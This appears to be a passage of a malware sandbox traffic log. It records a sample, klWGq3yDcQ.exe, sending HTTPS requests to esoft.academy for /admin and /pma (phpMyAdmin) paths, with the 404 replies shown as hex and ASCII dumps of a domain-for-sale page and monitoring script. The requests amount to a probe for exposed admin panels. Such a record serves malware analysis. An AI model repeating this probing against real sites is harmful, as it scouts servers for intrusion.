2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 35 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c Data Ascii: x; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="circularJ_5"></div><div cl
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 Data Ascii: geDomains.com/payment-plan-setup.cfm?d=RobinsonLand.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt></div><div class="conte
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 34 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 42 75 79 20 6e 6f 77 20 66 6f 72 20 3c 73 70 61 6e 20 63 6c Data Ascii: product-block"><div class="bn-block"><h1 id="main" class="domain-name">RobinsonLand.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,495</span></p></div><div class="tablet-block-s"><p class="text-center">Buy now for <span cl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	51315	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	168	OUT	GET /admin HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	632	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:45 UTC	737	IN	Data Raw: 37 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d37<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e 63 6f 6e 63 Data Ascii: d 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".conc
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c 73 65 73 73 Data Ascii: arvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},sess
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 Data Ascii: g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.split
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 Data Ascii: throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e){try
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 Data Ascii: .document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator insta
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 74 20 65 3d Data Ascii: },8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){let e=
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 65 78 74 3a Data Ascii: .length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,context:
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 Data Ascii: ,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	51286	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	166	OUT	GET /pma HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	628	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:45 UTC	741	IN	Data Raw: 37 64 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d3b<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 Data Ascii: product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".concat(e
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c 73 65 73 73 69 6f 6e 5f Data Ascii: stTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},session_
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 28 22 2e 22 Data Ascii: )throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.split("."
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 63 6f 6e Data Ascii: w new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e){try{con
